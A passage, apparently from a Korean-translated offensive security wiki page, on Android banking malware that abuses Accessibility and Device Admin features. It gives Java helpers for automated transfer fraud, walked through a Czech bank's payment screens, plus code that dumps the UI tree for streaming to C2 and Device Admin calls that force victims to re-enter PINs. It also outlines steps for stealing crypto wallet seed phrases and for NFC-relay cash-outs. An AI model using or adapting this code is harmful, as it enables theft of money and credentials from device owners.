์œ„ํ˜‘: ์ค‘๊ตญ์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ–‰์œ„์ž๋“ค์ด ์ „ ์„ธ๊ณ„์ ์œผ๋กœ Android RAT๋ฅผ ํ™•์žฅํ•˜๋Š” ๋ฐฉ๋ฒ•](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) -* [Android ์ ‘๊ทผ์„ฑ ๋ฌธ์„œ โ€“ UI ์ƒํ˜ธ์ž‘์šฉ ์ž๋™ํ™”](https://developer.android.com/guide/topics/ui/accessibility/service) +## ATS automation cheat-sheet (Accessibility-driven) +Malware๋Š” Accessibility APIs๋งŒ์œผ๋กœ ์€ํ–‰ ์•ฑ์„ ์™„์ „ ์ž๋™ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์›์‹œ ๋™์ž‘: +```java +// Helpers inside your AccessibilityService +private List<AccessibilityNodeInfo> byText(String t){ +AccessibilityNodeInfo r = getRootInActiveWindow(); +return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ +for (AccessibilityNodeInfo n: byText(t)){ +if (n.isClickable()) return n.performAction(ACTION_CLICK); +AccessibilityNodeInfo p = n.getParent(); +if (p != null) return p.performAction(ACTION_CLICK); +} +return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ +Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); +field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ +Path p = new Path(); p.moveTo(x,y); +dispatchGesture(new GestureDescription.Builder() +.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` +์˜ˆ์‹œ ํ๋ฆ„ (์ฒด์ฝ”์–ด โ†’ ์˜์–ด ๋ ˆ์ด๋ธ”): +- "Novรก platba" (์ƒˆ ๊ฒฐ์ œ) โ†’ ํด๋ฆญ +- "Zadat platbu" (๊ฒฐ์ œ ์ž…๋ ฅ) โ†’ ํด๋ฆญ +- "Novรฝ pล™รญjemce" (์ƒˆ ์ˆ˜์ทจ์ธ) โ†’ ํด๋ฆญ +- "Domรกcรญ ฤรญslo รบฤtu" (๊ตญ๋‚ด ๊ณ„์ขŒ๋ฒˆํ˜ธ) โ†’ ํฌ์ปค์Šค ๋ฐ `ACTION_SET_TEXT` +- "Dalลกรญ" (๋‹ค์Œ) โ†’ ํด๋ฆญ โ†’ โ€ฆ "Zaplatit" (์ง€๋ถˆ) โ†’ ํด๋ฆญ โ†’ PIN ์ž…๋ ฅ + +๋Œ€์ฒด: ํ…์ŠคํŠธ ์กฐํšŒ๊ฐ€ ์ปค์Šคํ…€ ์œ„์ ฏ ๋•Œ๋ฌธ์— ์‹คํŒจํ•  ๋•Œ ํ•˜๋“œ์ฝ”๋”ฉ๋œ ์ขŒํ‘œ์™€ `dispatchGesture` ์‚ฌ์šฉ. + +๋˜ํ•œ ๊ด€์ฐฐ๋จ: limits UI๋กœ ์ด๋™ํ•˜์—ฌ ์ด์ฒด ์ „์— ์ผ์ผ ํ•œ๋„๋ฅผ ๋Š˜๋ ค `check_limit` ๋ฐ `limit`์— ๋Œ€ํ•œ ์‚ฌ์ „ ๋‹จ๊ณ„๋ฅผ ์ˆ˜ํ–‰. + +## ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜ ์œ ์‚ฌ ์Šคํฌ๋ฆฐ ์ŠคํŠธ๋ฆฌ๋ฐ +์ €์ง€์—ฐ ์›๊ฒฉ ์ œ์–ด๋ฅผ ์œ„ํ•ด ์ „์ฒด ๋น„๋””์˜ค ์ŠคํŠธ๋ฆฌ๋ฐ ๋Œ€์‹  ํ˜„์žฌ UI ํŠธ๋ฆฌ์˜ ํ…์ŠคํŠธ ํ‘œํ˜„์„ ๋คํ”„ํ•˜์—ฌ ๋ฐ˜๋ณต์ ์œผ๋กœ C2๋กœ ์ „์†กํ•œ๋‹ค. +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ +if (n==null) return; +Rect b = new Rect(); n.getBoundsInScreen(b); +CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); +sb.append(indent).append("[").append(cls).append("] ") +.append(txt==null?"":txt).append(" ") +.append(b.toShortString()).append("\n"); +for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb); +} +``` +์ด๊ฒƒ์€ `txt_screen` (์ผํšŒ์„ฑ) ๋ฐ `screen_live` (์ง€์†์ ) ๊ฐ™์€ ๋ช…๋ น์˜ ๊ธฐ๋ฐ˜์ž…๋‹ˆ๋‹ค. + +## Device Admin ๊ฐ•์ œ ์ˆ˜๋‹จ +Device Admin receiver๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด, ์ด๋Ÿฌํ•œ ํ˜ธ์ถœ๋“ค์€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์บก์ฒ˜ํ•˜๊ณ  ์ œ์–ด๋ฅผ ์œ ์ง€ํ•  ๊ธฐํšŒ๋ฅผ ์ฆ๊ฐ€์‹œํ‚ต๋‹ˆ๋‹ค: +```java +DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); +ComponentName admin = new ComponentName(this, AdminReceiver.class); + +// 1) Immediate lock +dpm.lockNow(); + +// 2) Force credential change (expire current PIN/password) +dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android + +// 3) Disable biometric unlock to force PIN/pattern entry +int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; +dpm.setKeyguardDisabledFeatures(admin, flags); +``` +์ฐธ๊ณ : ์ด๋Ÿฌํ•œ ์ •์ฑ…์˜ ์ •ํ™•ํ•œ ์ ์šฉ ๊ฐ€๋Šฅ์„ฑ์€ Android ๋ฒ„์ „๊ณผ OEM์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ ์ค‘์—๋Š” ๋””๋ฐ”์ด์Šค ์ •์ฑ… ์—ญํ• (admin vs owner)์„ ํ™•์ธํ•˜์„ธ์š”. + +## ์•”ํ˜ธํ™”ํ ์ง€๊ฐ‘ ์‹œ๋“œ ๋ฌธ๊ตฌ ์ถ”์ถœ ํŒจํ„ด +MetaMask, Trust Wallet, Blockchain.com ๋ฐ Phantom์—์„œ ๊ด€์ฐฐ๋œ ํ๋ฆ„: +- ๋„๋‚œ๋œ PIN(overlay/Accessibility๋ฅผ ํ†ตํ•ด ์บก์ฒ˜) ๋˜๋Š” ์ œ๊ณต๋œ ์ง€๊ฐ‘ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์ž ๊ธˆ ํ•ด์ œ. +- ์ด๋™: Settings โ†’ Security/Recovery โ†’ Reveal/Show recovery phrase. +- ํ…์ŠคํŠธ ๋…ธ๋“œ๋ฅผ keylogging์œผ๋กœ ์ˆ˜์ง‘ํ•˜๊ฑฐ๋‚˜, secure-screen bypass๋ฅผ ์ด์šฉํ•˜๊ฑฐ๋‚˜, ํ…์ŠคํŠธ๊ฐ€ ๊ฐ€๋ ค์ ธ ์žˆ์„ ๋•Œ screenshot OCR๋กœ ์Šคํฌ๋ฆฐ์ƒท์„ ํ†ตํ•ด ๋ฌธ๊ตฌ๋ฅผ ์ˆ˜์ง‘. +- EN/RU/CZ/SK ๋“ฑ ๋‹ค๊ตญ์–ด ๋กœ์ผ€์ผ์„ ์ง€์›ํ•˜์—ฌ ์…€๋ ‰ํ„ฐ๋ฅผ ์•ˆ์ •ํ™” โ€” ๊ฐ€๋Šฅํ•˜๋ฉด `viewIdResourceName`๋ฅผ ์šฐ์„  ์‚ฌ์šฉํ•˜๊ณ , ์—†์œผ๋ฉด ๋‹ค๊ตญ์–ด ํ…์ŠคํŠธ ๋งค์นญ์œผ๋กœ ๋Œ€์ฒด. + +## NFC-relay orchestration +Accessibility/RAT ๋ชจ๋“ˆ์€ 3๋‹จ๊ณ„๋กœ ์ „์šฉ NFC-relay ์•ฑ(์˜ˆ: NFSkate)์„ ์„ค์น˜ยท์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, overlay ๊ฐ€์ด๋“œ๋ฅผ ์ฃผ์ž…ํ•ด ํ”ผํ•ด์ž๊ฐ€ ์นด๋“œ-ํ”„๋ ˆ์  ํŠธ ๋ฆด๋ ˆ์ด ๋‹จ๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay + +--- + +## References +* [PlayPraetorโ€™s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) +* [Android accessibility documentation โ€“ Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) +* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +* [GhostTap/NFSkate โ€“ NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}}